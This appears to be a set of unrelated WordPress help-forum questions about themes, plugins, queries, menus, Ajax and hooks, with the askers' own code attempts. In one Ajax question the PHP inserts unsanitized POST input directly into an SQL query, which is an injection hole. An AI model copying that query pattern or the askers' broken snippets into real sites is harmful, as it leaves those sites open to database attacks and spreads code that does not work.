text: I need to display post details by ID on front page template (`front- page.php`). On the front page I want to display the post’s title, excerpt & featured image. I have tried to do that but no idea on how I should be doing that. Is there any function in WordPress that can be used to do it?


title: qTranslate 2.5.28 and WordPress 3.3.1 issues

text: Anybody knows how to solve the issues in qTranslate 2.5.28 with WordPress 3.3.1?   * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3045   * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=2841   * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3004   * http://wordpress.org/support/topic/plugin-qtranslate-formatting-missing-in-editor   * http://wordpress.org/support/topic/qtranslate-breaks-the-way-wordpress-handles-paragraphs   * http://www.qianqin.de/qtranslate/forum/viewtopic.php?f=3&t=3016 Any help is greatly appreciated.


title: How to get permalink and title from post ID?

text:
I have stored an array of post IDs and I would like to list the posts as links, meaning I need to get the title and permalink for the post ID - $id. The list should be echoed out by the following if condition, which means I somehow have to replace $id with the permalink and title. At the moment the code merely lists the post ID numbers.               <?php       if(count($related)){         echo "
Read More
";         foreach($related as $id){            echo "
$id
";         }         echo "

";       }     ?>


title: Beginner Resources for Roots Theme Framework

text: I'm building a WordPress theme, using Roots as a starter theme. Are there any tutorials telling me how to build a theme off of Roots? I've worked with starter themes before, but this one is a whole new monster. I don't know what I'm supposed to edit, and what I'm not supposed to edit.


title: Adavnced custom fields relationship query plus query inside

text:
I am currently developing a site, I have three custom post types (speakers, events, videos). Each event has a relationship with speakers so when a event is created they select what speakers spoke at that event. my event page works fine and I can call the speakers fine. The problem I am having in my videos custom post type when creating a video the user has 2 relationships which they select which event it was recorded at and what speaker it is for. So on my events page under each speaker. I want it to get their video for that event. i have tried using meta query's but I cannot get it to work. I have posted on ACF forum with no reply. Any help would really be appreciated I have tried everything I can think of. http://support.advancedcustomfields.com/forums/topic/nesting-relationship- querys/ Above is the post on advanced custom field support forum. Here is a paste bin of my events.php http://pastebin.com/LB8bdyKj Here is the section of code ,               <?php     $posts = get_field('speakers');     if( $posts ) :     foreach( $posts as $post) :       setup_postdata($post);     ?>

         <img src="<?php the_field('speakers_image'); ?>" />

<?php the_title();?>
       <?php       $videos = get_posts( array(         'post_type' => 'videos',         'meta_query' => array(           'relation' => 'AND',           array(            'key' => 'speaker',            'value' => get_the_ID()           ),           array(            'key' => 'events',            'value' => $eventid           )         )       ) );       $videoquerys = new WP_Query($videos);       ?>       View Profile

      Above is what i have tried the information between event and speaker i can get fine its querying the speaker and event and getting the video that matches i am having trouble with.


title: Dynamically determine URI to scripts and styles included with a class which could be added from plugin/theme/child theme/mu plugin

text: I'm working on a settings API class which I'd like to be able to drop into a plugin, wpmu plugin, theme, or child theme directory, and have it just work. My issue is that I'm having trouble figuring out how to determine the URIs for including scripts and styles on the fly. I'd like this to work no matter how the site's WP install is set up, so it should work where ever the wp-content, plugins, mu-plugins, and themes directories are located. I found this post which involves something similar, but it's not quite the same, since it's dealing with paths and not URIs. Also, (frankly), I'm finding it a little challenging to wrap my head around, and I'd like to avoid going down that rabbit hole if my carrot isn't going to be there. Any advice on how to approach this?


title: Wordpress Ajax Data problem

text: I couldn't add selected data to a div using ajax. Here is my code:               <?php     function master_ajaxurl() {             $myOpt = $_POST['option'];             bringDetails($myOpt);      }                               function bringDetails($opt)     {             global $wpdb;             $sql ="SELECT * from mst_urun_liste WHERE kod like '$opt'";             $rows = $wpdb->get_row($sql );             return $rows;     }     add_action('wp_ajax_master_ajaxurl', 'master_ajaxurl');     add_action('wp_ajax_nopriv_master_ajaxurl', 'master_ajaxurl');     ?>     <script>     $(document).ready(function () {             var ajaxurl = '<?php echo admin_url('admin-ajax.php'); ?>';         $('#combobox').change(function(){             $.ajax({                             url:ajaxurl,                 action:'master_ajaxurl',                 type: "post",                 data: {option: $(this).find("option:selected").val()},                 success: function(data){                     //adds the echoed response to our container                          $("#details").html(data);                 }             });         });     });          </script>      I have a selectbox, and want to change values related to selected element, but ajax populates my div with whole html code of site. And here is a test page I prepared. I want to populate values from database (Kod, Parça No, Parça Adı, Fiyat, Adet, Tutar) of selected values I realized that, If i don't set url:ajaxurl, it returns the whole page, if i use it returns 0


title: Do Not Display Parent Page if No Subpages

text: This is the code from the codex most commonly used for sidebar menus. It displays the child pages of the top level ancestor and the ancestor itself. There is one thing about this code I would like to change - I don't want the top level ancestor displayed if it has no children! It doesn't make much sense to have a one link menu which points to itself. How can I edit this code to achieve this? I've previously asked a similar question, but was never given the correct answer. All the answers given also listed children of the parent's child (the second level child page). In functions.php               // Sub-pages menu     if(!function_exists('get_post_top_ancestor_id')){     /**      * Gets the id of the topmost ancestor of the current page. Returns the current      * page's id if there is no parent.      *       * @uses object $post      * @return int       */     function get_post_top_ancestor_id(){         global $post;              if($post->post_parent){             $ancestors = array_reverse(get_post_ancestors($post->ID));             return $ancestors[0];         }              return $post->ID;     }}      Calling it:               <ul class="subpages">         <?php wp_list_pages( array('title_li'=>'','include'=>get_post_top_ancestor_id()) ); ?>         <?php wp_list_pages( array('title_li'=>'','depth'=>1,'child_of'=>get_post_top_ancestor_id()) ); ?>     </ul>      This code checks if a page has children, I'm curious if this could be merged with the codes above to create the correct code:               $children = get_pages('child_of='.$post->ID);?>     if( count( $children ) != 0 ) { show list as normal }     else { show "no parent" text }


title: Error updating WordPress, does not ask for FTP password, just error

text: I started to update a WordPress blog and ran into a permissions problem. I fixed the permissions problem and started the update again and at some point (been a few days now), I received the following error. I tried again this morning and updating plugins or the program itself yields the same error. Update WordPress Downloading update from http://wordpress.org/wordpress-3.7.1-new-bundled.zip… Download failed.: Destination directory for file streaming does not exist or is not writable. Installation Failed I have a couple of blogs on the same web hosting account and neither of the other ones have issues, just this blog.


title: Add custom css to menu while using custom nav_menu_tag

text:
I created a custom menu to replace my li with td markers. However, I need to be able to add some custom tags through the wordpress menu. How do I do so? Is there something I can add to my mytag_nav_menu section to allow me to add custom csstags from the wordpress menu? My functions code located inside functions.php:               function mytag_nav_menu($args = '', $mytag = 'td') {             $defaults = array(                 'echo' => 1             );                  $r = wp_parse_args($args, $defaults);             $args = $args.'&echo=0';             $oldtags = Array('<li','
');             $newtags = Array('<'.$mytag.' class="center"','</'.$mytag.'>');             $mynav = str_replace($oldtags, $newtags, wp_nav_menu($args));             $output= preg_replace('/<a/', '<a class="nav"', $mynav, 12);             if ( $r['echo'] )                 echo $output;             else                 return $output;         }      My function call in the header located in header.php:               <?php mytag_nav_menu(array('theme_location' => 'header-menu',     'items_wrap' => '
%3$2
',     'fallback_cb'=>'wp_page_menu'));?>      Explanation of what I want to do:   1. Go into Wordpress admin   2. Go to Appearance/Menus   3. Click on a menu item, click on the drop down arrow   4. Add to CSSClasses (Optional)   5. Save the menu 6 Have the classes show up Result should be:                    News     	      Can anyone explain to me what I can add to my mytag_nav_menu to let those custom classes show up but still edit the tags as below? If this is not clear, please let me know.


title: Function to execute when a post is moved to trash .

text: Hi is there an action which can be performed while a post is moved to trash .... I tried delete_post and deleted_post. It works but twice for each action ( before and after the action as written in codex ) and the output is shown only when the post is deleted from trash. Example i want to send an email to the author stating that his post has been moved to trash because of some reason, and update some user_meta. if i use               add_action('deleted_post', 'emailUser');      or               add_action('delete_post', 'emailUser');      it works only when the post is deleted from trash . . . **Update :** got it to work for trash posts using               add_action('trash_post', 'emailUser');      but the problem for double execution of function is still there. . .